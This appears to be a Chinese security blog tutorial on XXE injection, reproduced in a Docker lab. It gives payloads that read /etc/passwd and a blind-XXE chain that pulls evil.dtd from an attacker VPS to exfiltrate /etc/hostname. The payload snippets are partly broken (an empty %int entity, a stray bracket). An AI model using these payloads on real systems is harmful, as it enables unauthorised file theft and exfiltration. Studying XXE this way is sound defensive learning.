XXE漏洞-XML 外部实体注入

XXE漏洞-XML 外部实体注入

  • xxe介绍
  • xml基础知识
  • 漏洞复现
  • Blind XXE

xxe介绍

Xml外部实体注入漏洞(XML External Entity Injection)简称XXE,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网探测和攻击,发起dos攻击等危害。

xml基础知识

XML全称可扩展标记语言。用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     
<!ELEMENT from (#PCDATA)>   
<!ELEMENT head (#PCDATA)>   
<!ELEMENT body (#PCDATA)>   
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Mike</from>
<head>Reminder</head>
<body>Hello,World!</body>
</note>

漏洞复现

docker进行pull,rrodrigo/xxelab环境


又回显
1、 直接DTD外部实体声明

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
	<!ENTITY f SYSTEM "/etc/passwd">
]>

file:///可加可不加

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
	<!ENTITY f SYSTEM "file:///etc/passwd">
]>

XXE漏洞-XML 外部实体注入_第1张图片base64编码防止返回包验证,解码即可

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
	<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>

引用两个外部实体

Blind XXE

POST包内容

<?xml version="1.0"?>
<!DOCTYPE convert [ 
	<!ENTITY  %  remote SYSTEM "http://vps:1000/evil.dtd">
	%remote;
	%int;
	%send; 
]>

vps:1000端口
创建evil.dtd文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hostname">
<!ENTITY  %  int   "">

XXE漏洞-XML 外部实体注入_第2张图片
vps:2000端口开启http服务进行监听

在这里插入图片描述base64解码/etc/hostname文件名

XXE漏洞-XML 外部实体注入_第3张图片

你可能感兴趣的:(web漏洞,xml,安全,web安全)